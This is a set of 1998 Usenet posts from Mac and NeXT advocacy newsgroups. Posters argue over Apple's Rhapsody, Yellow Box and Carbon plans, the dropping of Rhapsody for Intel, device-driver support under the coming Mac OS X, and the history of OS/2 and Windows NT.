In article <B188A373-2F0FF@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>
> >No Apple ROM needed, reverse engineer to
> >your hearts content.
>
>
>
> Reverse engineering is generally illegal. And, Apple has always "ruled" the
You've got your facts wrong.
Reverse engineering is completely legal if you use the appropriate clean
room techniques. Why do you think IBM lost the lawsuit trying to protect
its BIOS?
> PPC market. OS/2, AIX, BeOS, etc., no-one can influence this market the way
> Apple does because Apple sells 10-100x as many boxes as IBM does RS/6000
> boxes and even when NT and OS/2 were considered viable, they still wouldn't
> have been as important.
>
> In fact, I have heard that the reason why IBM never actively pursued the
> CHRP market for OS/2 past a certain date was because it was obvious that
> Apple wouldn't release MacOS for CHRP, thereby making OS/2 for PPC an
> orphan system since they needed the MacOS compatibility to sell the
> systems.
Oh, I see. So IBM and Microsoft and Sun all had crystal balls. Right.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: carl.gustafson@no.spam.welcome (Carl Gustafson)
Subject: Re: questions about device drivers for Rhapsody and blue box
Message-ID: <carl.gustafson-2105980919210001@stelis.ece.drexel.edu>
Date: Thu, 21 May 1998 09:19:21 -0400
References: <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchica <rex-2005982242410001@192.168.0.3> <6k09dq$11d@gazette.bcm.tmc.edu>
Organization: Imaging and Computer Vision Center, Drexel University
In article <6k09dq$11d@gazette.bcm.tmc.edu>, rick@mft.neusc.bcm.tmc.edu
(Rick Gray) wrote:
> We recently received Rhapsody DR2 and are running it on a new G3 (our
> first lab Mac, following in the footsteps of DEC LSI-11s, Masscomps,
> NeXTs and intel machines running NextStep). During a lab discussion,
> the following questions were raised. Will it be possible to control
> added hardware under Blue Box? If so, would we need Mac drivers or
> Rhapsody drivers? For the longer run, could we develop our own drivers
> under Rhapsody and have them work under MacOS X? Is it reasonable to
> hope that by the time MacOS X gets here hardware companies will have
> drivers ready for us? (We're willing to lobby InstruTECH and
> Photometics for this.) In a worse case, could we develop software
> under Rhapsody using Yellow Box and have it use device drivers written
> for NT? Is it useless to even think about running Rhapsody for Intel
> on our aging (90-120 MHz) Pentiums and bothering to develop any new
> software for them for the long run?
Based on what I've gleaned from this year's WWDC and last, here's how I
understand it (and I'm not infallible, even though I tell my wife I am):
First, to talk to hardware, you'll need device drivers in the Core OS,
there's no escaping that, and see below.
If you want to run BlueBox, you'll need some additional code to direct
driver calls to the core os, so in effect you'll need both MacOS X and
Blue Box drivers. However, Blue Box was intended (originally) as a
compatibility layer in Rhapsody, and now seems to be stop-gap like the 68K
emulator and Mixed-Mode manager was when PPC systems came out, and will
disappear eventually like mixed mode will do in OS X.
The carbon APIs are the current MacOS APIs cleaned up so that the really
crufty and ill-behaved routines are gone. Your Carbon apps will be able to
access the drivers in the core os. Carbon apps that don't want OS X
drivers should be OK on MacOS 8.5, and if you check for OS, can of course
hit hardware under 8.5, and call drivers under OS X.
I'd say forget about Blue Box for any current/future development efforts,
since it seems to be for preserving investments in legacy code. Carbon
seems to be a really good target.
I did run the Carbon Dating app on my main project, which deals with Scion
LG3 boards. It flagged some misc. functions that mostly will be stubbed
out, and only a few that need actual changing. It didn't trap hardware
accesses (I don't think). Except for driver work, cleanup for me will be
on the order of a half week or less (in 40K lines or so). The app also
depends on MacApp, and I'll need to move to R13u4 or R14, but that's
planned move anyway, so it isn't extra unplanned work.
As far as Rhapsody drivers, my understanding is that OS X will basically
be the Rhapsody core os, with the boxes on top (Blue, Yellow, Carbon,
BSD). Drivers developed with the DDK (not supplied with DR2) should work
with OS X, MacOS drivers pre-X won't. I doubt that NT drivers would even
be recognized.
In my exalted opinion, driver support from board vendors will be spotty,
and can be predicted from past performance. I expect DataTranslation will
ignore the market, Scion will be at least very helpful, and National
Instruments (I think that's the name) will probably come across with
drivers.
The business of having to write drivers to access the frame grabbers is a
pain, since my access are of the <find the base address/read bytes/write
bytes> simple-minded style, and don't need timimg considerations,
interrupts, etc. A suite of APIs that operate along the lines of the file
manager would go a long way to dealing with my needs, and probably yours
too. I intend to flesh this out and suggest it to the Carbon team via
their feedback address, carbon@apple.com.
--
Carl Gustafson
Honorary Okie
carl.gustafson at ece.drexel.edu
(busily trying to avoid spammers)
Imaging and Computer Vision Center
Drexel University, Philadelphia, Penna
------------------------------------------------------------
I don't speak for Drexel, and Drexel doesn't listen to me...
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 21 May 1998 08:09:39 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35642793.C2A7D977@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104>
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Eric Bennett wrote:
> In article <6jq20b$khp@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > Eric Bennett <ericb@pobox.com> wrote:
> >
> > >I think it is legitimate to expect Apple to announce where the Yellow Box
> > >will be in 18 months. 48 month? No. 18 months? Yes.
> >
> > I disagree. Apple has clearly announced that MacOS X will run yellow box
> > applications. Apple has also announced that NT will run yellow box
> > applications. Perhaps NT 5.0 will be released in 18 months.
> >
> > What Apple has not announced is whether it will have its own OS for
> > Intel beyond Rhapsody 1.0.
>
> Sorry. I meant the *total* picture for YB. In other words, will Apple
> still actively be working on the Intel version, or is it a dead-end
> product?
Eric,
The people commenting in this thread that don't support your POV are convinced
that the technology previously known as OpenSTEP the API, now as YellowBox will
be Apple's cross-platform API.
And, at this time, they are right...YB *IS* Apple's cross-platform option.
Most of these people are 'from' the StepWise site, and StepWise has been a big
NeXT/Open/YB booster for quite some time. They want this truth to happen.
I've hashed out your point - make an announcement/the future of YB as a
cross-platform API is questionable . And, no matter HOW much you post, you are
not going to change their view. Perhaps you can find an old post in which the
long-term option of Rhaphody on Intel was brought up, and how they said it WAS
going to be long-term...but I don't remember anyone asking that/getting an
answer.
Your best bet is to give up trying to convince them that YB's future is in
doubt. They feel a vested interest in YB as cross-platform, and are happy with
the answer they have gotten from Apple. And, *IF* they are wrong at some time
in the future.....they will move to some other cross-platform solution. (or,
put effort behind GnuSTEP)
If you feel that you are still right, and they are wrong, watch the comp.mac and
comp.next groups for new people who show up asking about YellowBox and Apple's
direction and post then. But you won't be able to sway them.
At some future date, gloating is optional over Apple's cross-platform efforts.
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
References: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jv1bk$hu3@flonk.uk.sun.com> <see-below-2005981828050001@209.24.242.183> <joe.ragosta-2105980915370001@wil138.dol.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35643656.0@206.25.228.5>
Date: 21 May 98 14:12:38 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
> If NeXT was breaking even on Intel, there's no reason that Apple
> couldn't be making money on it.
There is a reason. The theory being that they will lose an greater
amount on lost hardware sales. I think this can easily be aliviated
by two factors:
1) Price hike on the Rhap Intel port. Sell it for $495. Since
most of that is pure profit, that should make up for lost margin
on their hardware per unit basis.
2) Sheer volume. The huge amount of intel machines out there
running intel hardware can buy up more copies of Rhap Intel than
apple is likely to sell hardware units anytime soon. Many of which
act as ISPs and webhosts and would love a kewl Rhap like OS (and
likely advertise the fact that they are run under Rhap for free--kind
of an invaluable side benefit).
Apparently apple bubble wrapper strategic thinkers think differently
on the subject. Again, on the surface to me it seems quite a stupid
move on numerous levels. However, I'm hopeful that there is inside
info we're not privy to that makes this a wise move (though the
manner of pre-announcing product death seems almost always a stupid
move, but we'll never know for sure).
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 08:12:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35642858.162EC066@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5>
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John Kheit wrote:
> nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> > I wonder if the Finder will be replaceable. (No reason why they
> > couldn't make it that way, but they might not bother.) If so --
> > third party opportunity for a superior Yellow Finder.
> Apple doesn't strike me as the kind of company that likes to give
> up control of *anything* to anyone. I could be, and hope I'm, wrong.
Isn't that part of the reason the DOJ is going after Micro$oft? Because
M$ didn't want to give up control?
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe: ungrateful swine.
References: <slrn6li7r6.k15.mbkennel@lyapunov.ucsd.edu> <355921D0.9E838E8D@unet.univie.ac.at> <6js9qu$snd$2@walter.cs.umd.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356439ba.0@206.25.228.5>
Date: 21 May 98 14:27:06 GMT
seanl@cs.umd.edu (Sean Luke) wrote:
> 2) Apple says the licensing fee will *still* be $20.
> From this I gather that the $20 is *not* for DPS. The other
> licensing issues on NEXTSTEP were various UNIX licenses, PANTONE,
> RenderMan, Webster, Novell, NFS. All but PANTONE have gone away.
> So what are we left with? Hmmm...
AHHHHHHHHHHHHHHHH!!!!!!!!!!!!! NO WEBSTERS!!!!!!! C'MON! Man,
I can't tell you how seriously dissappointed I am by that. :(
MAJORLY BUMMED. That was without the most often used service at
least for me. Digitally I crack the dictionary all the time because
of the facility. This just blows. Every little cool thing is
slowly going away. :( Gosh pathetic I'm so bummed over this thing
):
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Thu, 21 May 1998 08:28:13 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35642BED.C74CB80B@milestonerdl.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net>
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Joe Ragosta wrote:
> In article <6juunr$1od$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > In article <3562EA10.3ABFE6B5@pacific.net.sg>, Koo
> <amind@pacific.net.sg> wrote:
> >
> > > > > > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
> >
> > > Does that mean that Rhapsody 1.0 for PPC is also going to be over?
> >
> > Uh, that's what "Rhapsody 1.0 is the last version of Rhapsody for any
> > platform" would tend to imply, wouldn't it?
>
> However, Rhapsody PPC will be replaced by Mac OS X. For PPC users, this is
> a plus.
So, you have knowledge the rest of us don't? That any PPC box that runs
Rhapsody 1.0 PPC will run Mac OS X?
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe: ungrateful swine.
References: <slrn6li7r6.k15.mbkennel@lyapunov.ucsd.edu> <355921D0.9E838E8D@unet.univie.ac.at> <6js9qu$snd$2@walter.cs.umd.edu> <356439ba.0@206.25.228.5>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35643a72.0@206.25.228.5>
Date: 21 May 98 14:30:10 GMT
John Kheit <jkheit@xtdl.com> wrote:
> seanl@cs.umd.edu (Sean Luke) wrote:
> > 2) Apple says the licensing fee will *still* be $20. From this
> > I gather that the $20 is *not* for DPS. The other licensing
> > issues on NEXTSTEP were various UNIX licenses, PANTONE, RenderMan,
> > Webster, Novell, NFS. All but PANTONE have gone away. So what
> > are we left with? Hmmm...
> AHHHHHHHHHHHHHHHH!!!!!!!!!!!!! NO WEBSTERS!!!!!!! C'MON! Man,
> I can't tell you how seriously dissappointed I am by that. :(
> MAJORLY BUMMED. That was without the most often used service at
> least for me. Digitally I crack the dictionary all the time
> because of the facility. This just blows. Every little cool
> thing is slowly going away. :( Gosh pathetic I'm so bummed over
> this thing ):
John taking his medication too late this morning. =-) I just
realized this was in reference to YB, not Rhap/MOSX. OOPS! Of
course no Websters for them. :) He hee. Sorry about that.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5> <35642858.162EC066@milestonerdl.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35643af3.0@206.25.228.5>
Date: 21 May 98 14:32:19 GMT
m rassbach <mark@milestonerdl.com> wrote:
> John Kheit wrote:
> > nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> > > I wonder if the Finder will be replaceable. (No reason why
> > > they couldn't make it that way, but they might not bother.)
> > > If so -- third party opportunity for a superior Yellow Finder.
> > Apple doesn't strike me as the kind of company that likes to
> > give up control of *anything* to anyone. I could be, and hope
> > I'm, wrong.
> Isn't that part of the reason the DOJ is going after Micro$oft?
> Because M$ didn't want to give up control?
I guess in some way yes. However, when you are not a market monopoly
you can get away with what would be considered anticompetitive
behaviour if you were. Size makes the difference. And size/success
is what gets a lot of companies in trouble. What they were allowed
and encouraged to do to become large and successful is the very
same kind of behaviour that later gets them into antitrust land.
A kind of damned if you don't, then damned when you do system.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 08:41:05 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35642EF1.409D14F9@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchica <EtACKs.M4o@midway.uchicago.edu>
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Jonathan Eric Miller wrote:
> It's too bad that they didn't open the platform up way back when when things
> were getting started on the Intel side of things. Apple could potentially be
> bigger than Intel and Microsoft combined, had that happened.
Ah, 1984. A time when '286es were JUST being introduced. IBM was putting 25
watt resistors into drive bays to simulate a load on the switching power
supply. (I still have some of these in a box...somewhere) And IBM's drives were
SO BAD that off the coast of Florida there is a reef made of them now.
Ahhhh for the time that if Steve Jobs han made the Mac with an I/O slot, the
Macintosh would have had the option for MORE than 128K. For a hard drive.
And, back then, there was no one platform that had most of the marketshare.
Boy, did Jobs blow it.
From: anders@common.se
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 14:21:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k1da3$6hd$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com> <35633A4A.674666DC@alumni.caltech.edu>
In article <35633A4A.674666DC@alumni.caltech.edu>,
William Edward Woody <woody@alumni.caltech.edu> wrote:
> OS/2 was the next generation of operating system that Microsoft and
> IBM were working on together in a joint venture. Microsoft would provide
> the GUI, and IBM would provide the operating system kernel technology.
>
> Microsoft unilaterally nixed it's half of that partnership when a bunch
> of engineers at Digital (who had been working on a version of VAX/VMS
> for the Alpha) were canned. Those engineers were first going to start
> their own company, but when Bill Gates heard about them, he hired them
> and bought their technology--and the NT kernel was born.
>
> There is an interesting footnote to all this, by the way. And that is
> that while there are those around here who may see Microsoft as being
> superior to Apple because Apple had to go out of house for expertise,
> they're forgetting that Microsoft went out of house _twice_, first to
> IBM, and then to the Digital engineers.
In all fairness, Apple did it twice too. Before Copland there was Pink/
Taligent, together with IBM and (if I remember correctly) HP. Taligent ended
up going nowhere, and with zero backup plans and zero management, Apple
drifted into the Copland mess. Until they went out of house again.
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 08:35:31 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35642DA3.5747E5F9@milestonerdl.com>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <rmcassid-2005982026030001@dialin9043.slip.uci.edu>
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Robert Cassidy wrote:
> In article <EtABG0.L64@midway.uchicago.edu>, "Jonathan Eric Miller"
> <_jemiller@midway.uchicago.edu> wrote:
>
> > The last I heard Apple wouldn't even give Be the details on the G3, so, they
> > couldn't port their OS to it. Doesn't sound like Apple is being to open to
> > me.
>
> How hard can it be? There are currently two Linux versions running on G3.
> Certainly some people are worthy of that info from Apple so you can't
> really say until you try.
Or, it's a smoke screen to justify the move away from Niche hardware to Mainstream
hardware.
Either way, I'm sure that the Be people asked Apple for the specs...and Apple said
no.
From: jeffric@boo.uk.sun.com (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 21 May 1998 14:43:36 GMT
Organization: Sun Microsystems UK
Message-ID: <6k1eio$7kb@flonk.uk.sun.com>
References: <6jv4ev$23m$1@crib.bevc.blacksburg.va.us>
In article <6jv4ev$23m$1@crib.bevc.blacksburg.va.us>, nurban@crib.bevc.blacksburg.va.us (Nathan Urban) writes:
>In article <6jv1b3$hu3@flonk.uk.sun.com>, Jeff.Richmond@uk.sun.comREMOVETHIS wrote:
>
>
>> Is that enough to keep me happy or do I want the whole Rhapsody/BSD
>> experience?
>
>I know which I'm happier with. :)
>
Me too ... but Apple isn't going to give me the Rhapsody/BSD experience on Intel for long.
>> I can't see myself buying a PPC just to do YB development ... yet.
>> But I might in the future if Apple gives me a good transition strategy.
>
>What would a good transition strategy be? Rhapsody/Intel long enough
>to last you until you buy your next computer?
That's certainly a requirement. Essentially, I will have to live with Rhasody 1.0/Intel (no upgrades) til 3rd qtr next year when I will have to replace my Intel box with a PPC to run MacOS X. Is that long enough? Will I then go buy a PPC? Questions which I can't answer right now.
Jeff Richmond
-standard disclaimer-
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 21 May 1998 14:42:53 GMT
Organization: Sun Microsystems UK
Message-ID: <6k1ehd$7kb@flonk.uk.sun.com>
References: <see-below-2005981828050001@209.24.242.183>
In article <see-below-2005981828050001@209.24.242.183>, see-below@not-my-address.com (Matthew Vaughan) writes:
>In article <6jv1bk$hu3@flonk.uk.sun.com>,
>Jeff.Richmond@uk.sun.comREMOVETHIS wrote:
[snip]
>>
>> Excellent points ... Sun and Apple do indeed have almost the same
>> business model. Target markets are totally different however ... does
>> Apple have any intention of attempting to gain a foothold in corporate
>> IT?
>
>Appearantly not.
>
Hmm ... EOF, WebObjects and NetInfo are all, essentially, corporate market apps. Doesn't bode well for the future of those products or other NeXT MCCAs, does it?
>> Many others have stated this but it might be worth saying again:
>Microsoft is the only major player in the industry to have a
>software-driven business model.
>
>The "software" part of their business model that generates revenue is
>applications, not an OS. I don't think of Rhapsody/Intel as being a
>money-maker in itself, though it could conceivably be self-sufficient.
>
Agreed ... the OS division of Microsoft is a big loss leader for their Applications division. Similarly, the OS divisions of Sun and Apple are loss leaders for their hardware divisions. Sun's experience in the corporate market would indicate that having an x86 based version of their OS hasn't harmed them but rather helped them (as you discussed in a previous post). Apple must be afraid the same experience will not hold true for them in the consumer market. Is this fear reasonable, given the differences in the corporate and consumer markets?
Jeff Richmond
-standard disclaimer-
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 15:01:36 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd84c9$26f7aa20$0b0ba8c0@woohoo>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <joe.ragosta-2105980834550001@wil111.dol.net>
NNTP-Posting-Date: 21 May 1998 15:01:36 GMT
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-2105980834550001@wil111.dol.net>...
> Be shouldn't need to get the G3 info from Apple. They should be getting
it
> from the vendors (Motorola and IBM).
The G3 has NO Apple parts on it?
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Thu, 21 May 1998 15:06:47 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35644307.6FBF4A83@nstar.net>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982104420001@209.24.240.108> <6jttav$lh$1@msunews.cl.msu.edu> <6k02bm$6cv@newsb.netnews.att.com>
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NNTP-Posting-Date: 21 May 1998 15:11:38 GMT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
[cut]
> Even if Apple makes a promise, you should not believe it because
> no company can keep a promise to support a non-viable product,
> and Rhapsody-on-Intel may prove to be so.
Well, I just don't see it. Solaris for x86 is anything but a stellar
performer. I don't believe it's making any money for Sun at all. Yet Sun
pushes the product continually because it believes it's important to
carry it as a part of its portfolio, and because it says important
things about Sun's committment to Solaris.
And what do you know? Sun's committment to Solaris on Intel has been one
of the major reasons Sun has signed licensees for Solaris on Merced. And
Apple wonders why nobody wants to play...
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 21 May 1998 08:20:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6k1gn1$po4@nntp02.primenet.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5> <35634FEE.14EC681@milestonerdl.com> <3563c5b1.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
: > Because Apple had said in public forums there WOULD be a RhapTel.
: > No statements about how LONG it would be around tho.
: > > It's idiocy.
: > Not at all.
: So why make the idiot mistake of promising in the first place so
: you'd be forced into maintaining a product for no reasons other
: than keeping a dumb promise and wasting money on that? Either way,
: early on, or later, a dumb move was made.
Steve didn't promise it. Previous management did. Steve has been slowly
changing course since he took over. It is possible that he ran MacOS X
and Rhapsody as parallel development efforts as a hedge against one
failing, but he has had this in mind for some time. Quotes from Apple
managers saying that Rhapsody would not be a mainstream solution started
appearing in July or August of last year. Interspersed with those, we
heard that Steve was letting his OS plans out on a need-to-know basis. My
cynical view is that the shift to Carbon was made public at the WWDC
because that is the latest Stever could delay the announcement. Adobe
demonstrated a Carbon applcation. Some words were mumbled about it being
a fast port, but jeeze louise, if Adobe had the port done when did Steve
first approach them about Carbon? Should we be nice and say it was last
month, or should we by cynical and say it was last year?
: Pre announcing the death of a product that may have proven successful
: always seems like a stupid move.
Is Steve stupid? No ... then what is his plan?
: What if it turned out that intel
: sales would have been a better money maker than PPC sales with the
: mac os to the bottom line? Sure an off chance, but why forclose
: on that chance. If it turned out to hurt sales, they could always
: pull a PPCLicensing pull and end it that way.
Why would Steve do that? Perhaps because he didn't want a legacy user
base on Rhapsody?
The "advocacy machine" has been amazingly good at ignoring what Apple has
said it would do. Most recently Steve has said that Yellow Box has been
folded into a larger Java stragegy. I'm not sure what that means, but I
think it should be a cautionary note to Yellow Box developers. It may be
that Steve is looking for a cheap cross-platform solution, rather than the
best possible cross-platform solution.
John
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 21 May 1998 11:35:48 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2105981135480001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1805981403350001@132.236.171.104> <6jpube$rqq$1@crib.bevc.blacksburg.va.us> <ericb-2005981951380001@132.236.171.104> <6jvr4l$38a$1@crib.bevc.blacksburg.va.us>
In article <6jvr4l$38a$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > Sorry. I meant supported over the long term,
>
> They have stated "long term".
Where? (I don't consider this fall to be long term.)
> > so that it will continue to
> > have parity with the features available in MacOS X and its successors.
>
> You do realize that the YB frameworks on OS X (well, Rhapsody) and Windows
> are built from virtually the same code base, don't you? There are very
> few OS dependencies, mostly in the window server and nmserver and such,
> not in the frameworks themselves. Enhancements to the frameworks ought
> to be portable.
That doesn't mean Apple will port them, and a decision not to do so is
likely going to be a political one rather than one based on the technical
difficulty of porting.
In article <6jvqp7$370$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <ericb-2005981935460001@132.236.171.104>, ericb@pobox.com
(Eric Bennett) wrote:
>
> > I think their recent actions call their commitment to cross-platform YB
> > into question.
>
> I can't think of anything they've done recently that calls their
> commitment to YB/Windows into question.
They have moved away from their commitment to a cross-platform solution
without reaffirming that they will support YB on the x86 over the long
term.
When Apple moves away from something, past history suggests it means they
are getting ready to kill it off. It would be easy for Jobs or Tevanian
to make it clear that this is not the case. I'm still waiting for a
*direct* quotation from an Apple official on the long-term viability of
YB/Windows.
> > I see no direct, unambiguous statements from Apple officials in this
> > article that state that Apple is committed to the x86 beyond this fall.
>
> That's because they're not. 1.0 will be the last release of Rhapsody,
> and they have no plans for MacOS X on x86.
You just said it yourself: Apple is not committed to the x86. I take that
to mean both YB/Windows *and* Rhapsody/Intel.
In article <6jvqjl$35u$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> There are various statements, reported on Stepwise and elsewhere, that
> YB/Windows is an integral part of Apple's long-term strategy. It's up
> to you what you choose "long-term" to mean. Note, however, that they
> have _not_ made similar statements about Rhapsody/Intel, which is ending
> after 1.0. They are making a distinction.
As I have said, I have trouble believing Stepwise when so many peope here
fault MacWeek for doing the same thing: not offering a direct quotation
from an Apple official.
Once again, where is there a *direct* quotation from and Apple official
which clearly indicates long-term development of YB/Intel? I have asked
this question several times and people keep dancing around it.
I would love to have my doubts proven wrong, but I haven't seen the
evidence yet.
--
Eric Bennett (www.pobox.com/~ericb) presents Microsoft COO Bob Herbold:
July 97: "You can't present [Win98] as the second coming of Christ, because
it isn't."
